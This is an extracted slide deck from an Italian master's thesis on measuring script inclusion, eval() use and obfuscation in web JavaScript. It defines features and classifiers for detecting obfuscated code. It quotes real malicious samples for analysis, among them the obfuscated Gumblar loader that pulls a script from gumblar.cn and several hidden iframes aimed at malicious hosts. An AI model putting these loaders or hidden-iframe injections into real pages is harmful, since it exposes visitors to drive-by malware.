SlideShare a Scribd company logo
1 of 48
Download to read offline
Introduzione Dataset Offuscamento Analisi Sviluppi futuri




               Progetto e realizzazione di un sistema
               per la caratterizzazione su larga scala
                   dei codici JavaScript nel Web


                                   Universit` Degli Studi Di Trieste
                                            a
                                         Facolt` di Ingegneria
                                               a
                         Corso di Laurea Specialistica in Ingegneria Informatica

                       LAUREANDA                                        RELATORE
                       Sara Zambon                             Chiar.mo Prof. Alberto Bartoli
                                                                      CORRELATORE
                                                                      Ing. Eric Medvet




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti


 L’era del Web 2.0
      Evoluzione del Web:
          dinamicit`a
          interazione con l’utente
        ⇒ grazie a script, frammenti di codice eseguiti lato client




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti


 Stato attuale di sicurezza nel Web



      Rapporti Websense, Sophos:
             crescita del 671% di siti Internet malicious in un anno
             77% dei siti malicious sono siti affidabili compromessi

      Drive-by download
      Scaricamento automatico di malware
        → spesso ` un link a inoltrare l’utente verso pagina maligna
                 e




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti


 Inclusione di codice



      Durante la navigazione fra le pagine di un sito:
         1   esecuzione di mix di codici provenienti da siti terzi,
             inclusi tramite:
               → script
               → iframe, talvolta invisibili
         2   esecuzione di codici offuscati

          ! all’insaputa dell’utente




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti


 Inclusione di codice




          ! all’insaputa dell’utente



                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti


 L’obiettivo della ricerca




      Obiettivo
      Caratterizzazione dell’inclusione degli script nelle pagine web




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti


 L’obiettivo della ricerca




      Obiettivo
      Caratterizzazione dell’inclusione degli script nelle pagine web

        ⇒ sostanziale assenza di studi con medesima finalit`
                                                          a




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   I vantaggi Le insidie Le insidie L’obiettivo I cinque quesiti


 I cinque quesiti




         1   Quanto ` diffusa l’inclusione di script da url diversi?
                    e
         2   A che profondit` di inclusione si arriva per includere script?
                            a
         3   Quanto ` diffuso l’utilizzo di eval()?
                    e
         4   Quanto ` diffusa l’inclusione di frame e iframe
                     e
             sospettosamente piccoli?
         5   Quanto ` diffuso l’utilizzo di tecniche di offuscamento?
                    e




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Le fonti Dati Ts e Ti    Propriet` Features
                                                                                            a


 Le fonti



      Dateset con 1037 pagine rappresentativo del Web:
        → 3 fonti di scaricamento:




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Le fonti Dati Ts e Ti    Propriet` Features
                                                                                            a


 Le fonti



      Dateset con 1037 pagine rappresentativo del Web:
        → 3 fonti di scaricamento:
             ≈ 80% pagine Normal




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Le fonti Dati Ts e Ti    Propriet` Features
                                                                                            a


 Le fonti



      Dateset con 1037 pagine rappresentativo del Web:
        → 3 fonti di scaricamento:
             ≈ 80% pagine Normal→ Top Million Sites List stilata
             dall’azienda Alexa




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Le fonti Dati Ts e Ti    Propriet` Features
                                                                                            a


 Le fonti



      Dateset con 1037 pagine rappresentativo del Web:
        → 3 fonti di scaricamento:
             ≈ 80% pagine Normal→ Top Million Sites List stilata
             dall’azienda Alexa
             ≈ 20% pagine Malicious




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Le fonti Dati Ts e Ti    Propriet` Features
                                                                                            a


 Le fonti



      Dateset con 1037 pagine rappresentativo del Web:
        → 3 fonti di scaricamento:
             ≈ 80% pagine Normal→ Top Million Sites List stilata
             dall’azienda Alexa
             ≈ 20% pagine Malicious→ elenco siti infetti pubblicato dal
             progetto Malware Domain List




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Le fonti Dati Ts e Ti    Propriet` Features
                                                                                            a


 Le fonti



      Dateset con 1037 pagine rappresentativo del Web:
        → 3 fonti di scaricamento:
             ≈ 80% pagine Normal→ Top Million Sites List stilata
             dall’azienda Alexa
             ≈ 20% pagine Malicious→ elenco siti infetti pubblicato dal
             progetto Malware Domain List
             < 1% pagine Interesting




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Le fonti Dati Ts e Ti    Propriet` Features
                                                                                            a


 Le fonti



      Dateset con 1037 pagine rappresentativo del Web:
        → 3 fonti di scaricamento:
             ≈ 80% pagine Normal→ Top Million Sites List stilata
             dall’azienda Alexa
             ≈ 20% pagine Malicious→ elenco siti infetti pubblicato dal
             progetto Malware Domain List
             < 1% pagine Interesting→ 3 maggiori JavaScript benchmark




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Le fonti Dati Ts e Ti    Propriet` Features
                                                                                            a


 Estrapolazione dei dati dalla pagina




    Da ciascuna pagina scaricata sono stati
    estrapolati:
      → script JavaScript
      → frame
      → iframe




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Le fonti Dati Ts e Ti    Propriet` Features
                                                                                            a


 Estrapolazione dei dati dalla pagina




    Da ciascuna pagina scaricata sono stati
    estrapolati:
      → script JavaScript
      → frame
      → iframe
    Quindi sono state popolate due tabelle:




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Le fonti Dati Ts e Ti    Propriet` Features
                                                                                            a


 Estrapolazione dei dati dalla pagina




    Da ciascuna pagina scaricata sono stati
    estrapolati:
      → script JavaScript
      → frame
      → iframe
    Quindi sono state popolate due tabelle:
      → Ts , tabella degli script JavaScript
      → Ti , tabella dei frame e degli iframe




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Le fonti Dati Ts e Ti    Propriet` Features
                                                                                            a


 La tabella degli script e la tabella dei frame e degli iframe

     Per ogni script viene inserita una riga
                                                            Per ogni frame e iframe viene inserita
     nella tabella Ts :
                                                            una riga nella tabella Ti :
            Script URL
                                                                    Iframe URL
            Root page URL
                                                                    Root page URL
            Script body
                                                                    Iframe body
            Category:
                                                                    Enclosing:
                 Embedded Script
                                                                          HTML Embedded
                 Child Script
                                                                          Script Embedded
                 Intrinsic Event
                                                                    Locality:
            Locality:
                                                                          Local
                  Local
                                                                          Remote
                  Remote
                                                                    List of HTTP redirection for the
            List of HTTP redirection for the
                                                                    iframe
            script
                                                                    ...
            ...




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Le fonti Dati Ts e Ti    Propriet` Features
                                                                                            a


 Le propriet` estratte
            a

      Propriet` estratte dagli script:
              a

            Function name
            Document.write
            Iframe
            Variable name
            Variable content
            Long string
            Eval
            Unescape
            Decode
            Onerror
            Exec
            String.fromCharCode
            String.charCodeAt
            Math.random


                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Le fonti Dati Ts e Ti    Propriet` Features
                                                                                            a


 Le propriet` estratte
            a

      Propriet` estratte da frame e iframe:
              a




            Width
            Height




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Le fonti Dati Ts e Ti    Propriet` Features
                                                                                            a


 Dalle propriet` alle features
               a




        → 1 pagina ⇒ n script
           → 1 script ⇒ 14 propriet`
                                   a
                → 1 propriet` ⇒ m items
                            a




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Le fonti Dati Ts e Ti    Propriet` Features
                                                                                            a


 Dalle propriet` alle features
               a




        → 1 pagina ⇒ n script
           → 1 script ⇒ 14 propriet`
                                   a
                → 1 propriet` ⇒ m items
                            a

        → 1 script ⇒ 17 features, ottenute:
                    contando ⇒ items associati a una propriet`
                                                             a
                    contando ⇒ items offuscati associati a una propriet`
                                                                      a




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Le fonti Dati Ts e Ti    Propriet` Features
                                                                                            a


 Le features
      Vettore di 17 numeri, features, associato allo script:

                                                    Feature
                                 Number of Obfuscated Function name
                                 Number of Obfuscated Document.write
                                     Number of Obfuscated Iframe
                                  Number of Obfuscated Variable name
                                 Number of Obfuscated Variable content
                                   Number of Obfuscated Long String
                                           Number of Eval
                                      Number of Obfuscated Eval
                                  Number of Eval with long argument
                                         Number of Unescape
                                    Number of Obfuscated Unescape
                                     Number of Obfuscated Decode
                                     Number of Obfuscated Onerror
                                      Number of Obfuscated Exec
                                    Number of String.fromCharCode
                                     Number of String.charCodeAt
                                       Number of Math.random


                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio


 Definizione di Offuscamento



          ! Assenza definizione precisa




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio


 Definizione di Offuscamento



          ! Assenza definizione precisa

      Definizione di codice offuscato
      Codice progettato in modo da nascondere le sue reali finalit`,
                                                                  a
      anche a seguito di un’analisi approfondita da parte di operatori
      esperti




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio


 Definizione di Offuscamento



          ! Assenza definizione precisa

      Definizione di codice offuscato
      Codice progettato in modo da nascondere le sue reali finalit`,
                                                                  a
      anche a seguito di un’analisi approfondita da parte di operatori
      esperti

      Obiettivi alla base dell’offuscamento:
         º proteggere la paternit` del codice
                                 a
         » celare codice maligno




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri                      Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio


 Due esempi di script JavaScript offuscati


      Primo script offuscato
      f u n c t i o n c ( g ) { v a r m=0; w h i l e (m . l e n g t h ) { v a r r=g [m ] ; r . l=d ( r . n , r . o ) ; i f ( r . j==t r u e ) {
                                                              <g
                 r . k=e ( r . n , r . o , r . l ) ; } e l s e { r . k =0;} r . t=f ( r . l+r . k ) ;m++;}}




      Secondo script offuscato
      xR5p=3D’ % ’ ; e v a l ( u n e s c a p e ( ( ’ v a r ” 20 a ” 3d” 22 Sc ” 72 i p t E n g i n ” 65 ” 22 ” 2 c ” 62 ” 3d” 22 ”5=6 e r s ”
           69 on ( )+” 22 ” 2 c ” 6 a ” 3d” 22 ” 22 ” 2 cu ” 3 d n a v i g ” 61 t ” 6 f r ” 2 e ” 75 s ” 65 r A g e n t ” 3 b i f ((= ” 75 ” 2
           e i n d ” 65 xOf ” 28 ” 22Win” 2 2 ) ” 3 e0 ) ” 26 ” 2 6 ( u” 2 e ” 69 n” 64 exO” 6 6 ( ” 22NT” 20 ” 36 ” 22 ”=29” 3 c0
           ) ” 26 ” 2 6 ( documen ” 74 ” 2 e c o o k i e ” 2 e ” 69 ndex ” 4 f ” 66 ” 28 ” 22 ” 6 d i e ” 6b” 3 d1 ” 2 2 ) ”3=c0 ) ” 26 ”
           26 ” 28 t ” 79 ” 70 e ” 6 f f ( ” 7 a r v z t s ) ” 21 ” 3 d t y p e o f ( ” 22A” 2 2 ) ) ” 29 ” 7 b z r v z t s ” 3d”2=2A” 22 ” 3b
           ” 65 va ” 6 c ( ” 22 i f ( wi ” 6 edow ” 2 e ”22+a+” 22 ” 29 j ” 3d” 6 a+”22+a+” 22M” 61 j o ” 72 ”=22+” 62 ” 2
           ba+” 22 Minor ” 22 ” 2 bb+a+” 22B” 75 ” 69 l d ” 22 ” 2 bb ” 2b” 22 j ” 3b” 2 2 ) ” 3 bdocu ” 6 de=” 6 e ” 74 ” 2
           ewr ” 69 ” 74 e ( ” 22 ” 3 c s c ” 72 i p t ” 20 s r ” 63 ” 3d” 2 f ” 2 f g u m b l a r ” 2 e c n ” 2 f r s s ” 2 f ”3= f i d ” 3d”
           22+ j+” 22 ” 3 e ” 3 c ” 5 c ” 2 f ” 73 c r i p t ” 3 e ” 22 ” 29 ” 3b” 7d ’ ) . r e p l a c e ( j i l , xR5p ) ) ) }=) ( / ” / g ) ;




                                                      Sara Zambon             Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri                         Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio


 Due esempi di script JavaScript offuscati


      Secondo script
        ! Gumblar
                   ⇒ A maggio 2009 deteneva il 42% infezioni a livello globale
                   ⇒ all’esecuzione download altro script da
                     http://www.gumblar.cn/rss/

      Ultime righe del secondo script
       [ . . . ] ” 3 bdocu ” 6 de=” 6 e ” 74 ” 2 ewr ” 69 ” 74 e ( ” 22 ” 3 c s c ” 72 i p t ” 20 s r ” 63 ” 3d” 2 f ” 2 f g u m b l a r ” 2 e c n ”
                 2 f r s s ” 2 f ”3= f i d ” 3d”22+ j+” 22 ” 3 e ” 3 c ” 5 c ” 2 f ” 73 c r i p t ” 3 e ” 22 ” 29 ” 3b” 7d ’ ) [ . . . ]




        ⇒ obiettivo offuscamento: celare codice maligno



                                                        Sara Zambon              Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri                     Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio


 Esempi di items offuscati
             nomi offuscati di funzioni
             c07b380984r0368a7 , r32fdfe1768 , re15d694d .

             nomi offuscati di variabili
             a 7 0 4 4 t f , a7044pu , a 7 0 4 4 p f , a7044su , a 7 0 4 4 s f , a 7 0 4 4 o f , a7044op ,
             a7044ops , a 7 0 4 4 o t , a7044d , a 7 0 4 4 o e .

             variabile con argomento offuscato
             v a r ne07614 =[” 128 ” , ” 139 ” , ” 127 ” , ” 145 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 144 ” , ” 74 ” , ” 131 ” , ”
                    129 ” , ” 144 ” , ” 97 ” , ” 136 ” , ” 129 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 144 ” , ” 94 ” , ” 149 ” , ” 101 ” ,
                    ” 128 ” , ” 68 ” , ” 62 ” , ” 144 ” , ” 139 ” , ” 140 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 145 ” , ” 79 ” , ” 79 ” , ”
                    82 ” , ” 62 ” , ” 69 ” , ” 74 ” , ” 143 ” , ” 144 ” , ” 149 ” , ” 136 ” , ” 129 ” , ” 74 ” , ” 128 ” , ” 133 ” , ”
                    143 ” , ” 140 ” , ” 136 ” , ” 125 ” , ” 149 ” , ” 60 ” , ” 89 ” , ” 60 ” , ” 62 ” , ” 138 ” , ” 139 ” , ” 138 ” , ”
                    129 ” , ” 62 ” , ” 87 ” , ” 128 ” , ” 139 ” , ” 127 ” , ” 145 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 144 ” , ” 74 ” , ”
                    131 ” , ” 129 ” , ” 144 ” , ” 97 ” , ” 136 ” , ” 129 ” , ” 137 ” , ” 129 ” , ” 138 ” , ” 144 ” , [ . . . ] ] ;

             document.write() con argomento offuscato
             document . w r i t e ( ’<a h r e f=” h t t p : / /www . 5 1 . l a /?002347044 ” t a r g e t=” b l a n k ” t i t l e =”
                  &#x35;&#x31;&#x2E;&#x6C;&#x61;&#x20;&#x4E13;&#x4E1A;&#x3001;&#x514D
                  ;&#x8D39;&#x3001;&#x5F3A;&#x5065;&#x7684;&#x8BBF;&#x95EE;&#x7EDF;&#
                  x8BA1 ; ”>    &#x7F51;&#x7AD9;&#x7EDF;&#x8BA1 ;</ a>n ’ )

             stringa con argomento offuscato
             c=T . 7 y ( ) ; 1 e ( c . 1 A+29.2 f ( 1Q. 1 C . 2 e , 1Q. 1 c . 2 e ) , c . 1 S +29.2 f ( 1Q. 1 C . 2 c , 1Q. 1 c . 2 c ) ) ; 1
                     e(−1Q. 1 C . 6 b,−1Q. 1 C . 6 a ) }N{1 e (T . 5 X , T . 5W) ; 1 B( 1 s ) {1 e ( 1 s . 5 X , 1 s . 5W) ; G
                     (42&&!/ˆ t ( 9 8 | d | h ) $ / i . 1 1 ( 1 s . 2 j ) | | 2 k&&!5U) 2C( 1 s ) ; G ( ! 3 c&&1g ( 1 s , ” 30 ” )==” 3
                     c ” ) 3 c= 4 a=/ˆ1 c$ / i . 1 1 ( 1 s . 2 j ) ?4 a : 1 s ; 1 s=1s . 1 s }1B( d&&d . 2 j &&!/ˆ1 c | 2 K$/ i
                                M;
                     . 1 1 ( d . 2 j ) ) {G ( ! / ˆ 9 6 | 1 T. ∗ $ / i . 1 1 ( 1 g ( d , ” 18 ” ) ) ) 1 e(−d . 2 e ,−d . 2 c ) ; G(42&&1g ( d ,
                     ” 33 ” ) !=” 4 j ” ) 2C( d ) ; d=d . 1 d}G ( ( 5U&&(3c | | 1 g ( 4 a , ” 30 ” )==” 5 x ” ) ) [ . . . ]

                                                    Sara Zambon              Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri                  Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio


 Esempi di propriet` offuscate
                   a
             stringa lunga con argomento offuscato
             rcDF60rcDF105rcDF102rcDF114rcDF97rcDF109rcDF101rcDF32rcDF119rcDF105rcDF
             100 rcDF116rcDF104rcDF61rcDF34rcDF52rcDF56rcDF48rcDF34rcDF32rcDF104rcDF1
             01 rcDF105rcDF103rcDF104rcDF116rcDF61rcDF34rcDF54rcDF48rcDF34rcDF32rcDF1
             15 rcDF114rcDF99rcDF61rcDF34rcDF104rcDF116rcDF116rcDF112rcDF58rcDF47rcDF
             47 rcDF115rcDF101rcDF110rcDF100rcDF50rcDF57rcDF57rcDF51rcDF49rcDF46rcDF9
             9 rcDF110rcDF47rcDF116rcDF114rcDF97rcDF102rcDF102rcDF47rcDF105rcDF110rcD
             F46rcDF99rcDF103rcDF105rcDF63rcDF50rcDF34rcDF32rcDF115rcDF116rcDF121rcD
             F108rcDF101rcDF61rcDF34rcDF98rc

             eval() con argomento offuscato
              e v a l ( u n e s c a p e ( ’ f u n c t i o n %20AGAHlA%28SCSL%29%7BR GHH%3Dnew%20 S t r i n g %28
                        a r g u m e n t s . c a l l e e %29. r e p l a c e %28/%5B%5E@a−z0−9A−Z .%5D/ g%2C%27%27%29%2
                        CH ShH%3D%27%27%2CAsRG%3D−1%2CASaIS %3D−1%3Bvar%20HpCh%3D0%3B f o r %28
                        AsRG%3D0%3BAsRG%3CR GHH . l e n g t h %3BAsRG++%29HpCh%5E%3DR GHH . c h a r C o d e A t
                        %28AsRG%29%3BAsRG%3D−1%3B w h i l e%28++A S a I S %3CSCSL . l e n g t h %29%7 B i f %28
                        AsRG%3D%3DR GHH . l e n g t h %29AsRG%3D0%3B e l s e %20AsRG++%3BH ShH+%3D S t r i n g .
                        fromCharCode%28HpCh%5ESCSL . c h a r C o d e A t%28A S a I S %29%5ER GHH . c h a r C o d e A t
                        %28AsRG%29%29%3B%7Ddocument . w r i t e %28H ShH%29%3BH ShH%3D%27%27%3
                        B r e t u r n%3B%7D ’ ) ) ;

             unescape() con argomento offuscato
             u n e s c a p e ( ”%3C i f r a m e %20name%3D%22 a d p r o t e s t %22%20 w i d t h%3D%22”+wi+”%22%20
                        h e i g h t %3D%22”+he+”%22%20 f r a m e b o r d e r%3D%220%22%20 s r c %3D%22 h t t p%3A//
                        s c r i p t s . c h i t i k a . n e t / s t a t i c / a d p r o . h t m l%22%20 m a r g i n w i d t h%3D%220%22%20
                        m a r g i n h e i g h t%3D%220%22%20 v s p a c e%3D%220%22%20 h s p a c e%3D%220%22%20
                        a l l o w t r a n s p a r e n c y %3D%22 t r u e %22%20 s c r o l l i n g %3D%22no%22%3E%3C/ i f r a m e %3E
                       ”)


                                                  Sara Zambon             Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri                     Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio


 Iframe invisibili
             iframe reso invisibile dalle dimensioni nulle (width=0 e height=0)

             <i f r a m e s r c=” hxxp : / / g o o g l e−a n a l y z . cn / c o u n t . php ? o=1” w i d t h=0 h e i g h t =0 s t y l e
                      =” h i d d e n ” f r a m e b o r d e r=0 m a r g i n h e i g h t =0 m a r g i n w i d t h=0 s c r o l l i n g =no></
                       i f r a m e>

             iframe reso invisibile da una sola dimensione nulla (height=0)

             <i f r a m e s r c=” hxxp : / / a86x . homeunix . o r g : 8 0 8 0 / t s / i n . c g i ? open2 ” w i d t h =997
                       h e i g h t =0 s t y l e=” v i s i b i l i t y : h i d d e n ”> i f r a m e>
                                                                                      </

             iframe di dimensioni minime e dunque difficilmente percepibile

             <i f r a m e s r c=” hxxp : / / y o u r l i t e t o p . cn / t s / i n . c g i ? m o z i l a 7 ” w i d t h=2 h e i g h t =4
                       s t y l e=” v i s i b i l i t y : h i d d e n ”> i f r a m e>
                                                                       </

             iframe reso invisibile dall’attributo visibility:hidden

             <i f r a m e s r c=” hxxp : / / c o m b i n e b e t . cn : 8 0 8 0 / i n d e x . php ” w i d t h =180 h e i g h t =141
                       s t y l e=” v i s i b i l i t y : h i d d e n ”> i f r a m e>
                                                                       </

             iframe non visibile perch` interno a un “contenitore” <div> invisibile
                                      e

             <d i v s t y l e=” d i s p l a y : none ”>
               <i f r a m e s r c=” hxxp : / / r e d−w o l f . r u : 8 0 8 0 / i n d e x . php ” w i d t h =574 h e i g h t =455>
               </ i f r a m e>
             </ d i v>



                                                     Sara Zambon             Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio


 Dynamic Evaluation



      Moderni linguaggi di scripting permettono la dynamic evaluation:
         º valutazione run time input utente
         » grave problema per la sicurezza

      La funzione JavaScript eval()
      esegue una stringa trattandola come codice
        → potenzialmente in grado di compiere qualsiasi azione
        → nella maggior parte dei casi uso scorretto




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio


 L’analisi sull’offuscamento


      Obiettivo
      Individuazione criterio per stabilire se un script ` offuscato o meno
                                                         e

      Primo criterio di offuscamento
      Soglie sulle features ottenute da analisi delle propriet` degli script
                                                              a

      Secondo criterio di offuscamento
      Classificatore realizzato su risultati di test svolti da analisti

        ⇒ per ogni script di Ts → 2 “bit di offuscamento”




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri    Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio


 Il primo bit di offuscamento
        → 1 script → vettore 17 features
      Primo criterio:
       → soglie basate su domain knowledge
       → se almeno una feature supera la soglia ⇒ lo script ` offuscato.
                                                            e
                                                 Feature                   Soglia

                                  Number of Obfuscated Function name          0
                                  Number of Obfuscated Document.write         0
                                      Number of Obfuscated Iframe             0
                                   Number of Obfuscated Variable name         4
                                  Number of Obfuscated Variable content       4
                                    Number of Obfuscated Long String          0
                                            Number of Eval                    2
                                       Number of Obfuscated Eval              0
                                    Number of Eval with long argument         0
                                          Number of Unescape                  2
                                     Number of Obfuscated Unescape            0
                                      Number of Obfuscated Decode             0
                                      Number of Obfuscated Onerror            0
                                       Number of Obfuscated Exec              0
                                     Number of String.fromCharCode            4
                                      Number of String.charCodeAt             4
                                        Number of Math.random                 4


                                          Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio


 Il secondo criterio


      77 analisti esaminatori di 893 script di Ts
        → Ritieni che questo codice sia offuscato (anche solo parzialmente)?
          Possibili opzioni di risposta: S` No, Non so
                                          ı,




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio


 Il secondo criterio


      77 analisti esaminatori di 893 script di Ts
        → Ritieni che questo codice sia offuscato (anche solo parzialmente)?
          Possibili opzioni di risposta: S` No, Non so
                                          ı,

        → dei 893 script → 691 con pi` di una valutazione
                                     u
           → dei 691 script → 561 con maggioranza di giudizio
                       → dei 561 script:
                         → 372 (66%) giudizio unanime
                         → 100 (18%) range di valutazioni comuni fra l’51% e il 67%
               → dei 691 script → 130 senza maggioranza di giudizio
                       → dei 130 script:
                         → 81 (67%) giudizio unanime Non so




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio


 Il secondo bit di offuscamento



        → 1 script → vettore 17 features
      Secondo criterio:
        → per ogni script dei 561 → bit offuscameno analisti
        → addestramento di un classificatore Multilayer Perceptron




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Definizione Esempi Eval 2 criteri 1◦ criterio 2◦ criterio


 Il secondo bit di offuscamento



        → 1 script → vettore 17 features
      Secondo criterio:
        → per ogni script dei 561 → bit offuscameno analisti
        → addestramento di un classificatore Multilayer Perceptron

                                            ⇓
                      Classificatore applicato a tutti gli script di Ts




                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Script iframe Script offuscati


 Caratterizzazione generale
      Grafici di distribuzione cumulativa sulla somma delle dimensioni degli
      script per pagina




              (a)   Distribuzione nelle pagine Normal          (b)   Distribuzione nelle pagine Malicious




             Normal → script dimensioni maggiori: Child Script
             Malicious → script dimensioni maggiori: Embedded Script

                                             Sara Zambon   Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri        Script iframe Script offuscati


 Inclusione di script da URL diversi
      Quanto ` diffusa l’inclusione di script da url diversi?
             e




              (c)   Distribuzione nelle pagine Normal                (d)   Distribuzione nelle pagine Malicious



             Normal:
             → il 90% pagine include Embedded Script da un altro dominio
             → il 20% pagine include Child Script da 2 domini diversi
             → il 10% pagine include Child Script da 3 domini diversi

             Malicious:
             → minima percentuale di pagine include script da 2 domini diversi

                                             Sara Zambon        Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri        Script iframe Script offuscati


 Profondit` di inclusione a livello script
          a
      A che profondit` di inclusione si arriva per includere script?
                      a
      Percentuale di script calcolata sul numero totale di script




              (e)   Distribuzione nelle pagine Normal                (f)    Distribuzione nelle pagine Malicious



             Normal:
             → l’85% degli script presenti ha profondit` pari a 1
                                                       a
             → ≈ 13% ` caratterizzato da livello di profondit` uguale a 2
                      e                                       a

             Malicious:
             → l’70% degli script presenti ha profondit` pari a 1
                                                       a
             → ≈ 30% ` caratterizzato da livello di profondit` uguale a 2
                      e                      Sara Zambon a Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Script iframe Script offuscati


 Profondit` di inclusione a livello script
          a
      A che profondit` di inclusione si arriva per includere script?
                      a
      Percentuale di script calcolata sulla dimensione degli script




              (g)   Distribuzione nelle pagine Normal          (h)   Distribuzione nelle pagine Malicious



             Normal:
             → l’85% del codice incluso ha profondit` 2
                                                    a
             Malicious:
             → la situazione non varia di molto rispetto al caso precedente
                                             Sara Zambon   Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Script iframe Script offuscati


 Utilizzo di eval()
      Quanto ` diffuso l’utilizzo di eval()?
             e




             Normal:
             → nel 2,7% delle pagine sono presenti script contenenti eval()

             Malicious e Interesting:
             → in pi` dell’8% delle pagine sono presenti script contenenti eval()
                    u


                                         Sara Zambon       Caratterizzazione dei codici JavaScript nel Web
Introduzione Dataset Offuscamento Analisi Sviluppi futuri   Script iframe Script offuscati


 Utilizzo di eval()
      Quanto ` diffuso l’utilizzo di eval()?
              e
      (con argomento superiore ai 140 caratteri)




             Normal:
             → quasi totalit` di script contententi eval() ` del tipo Child Script
                            a                              e

             Malicious:
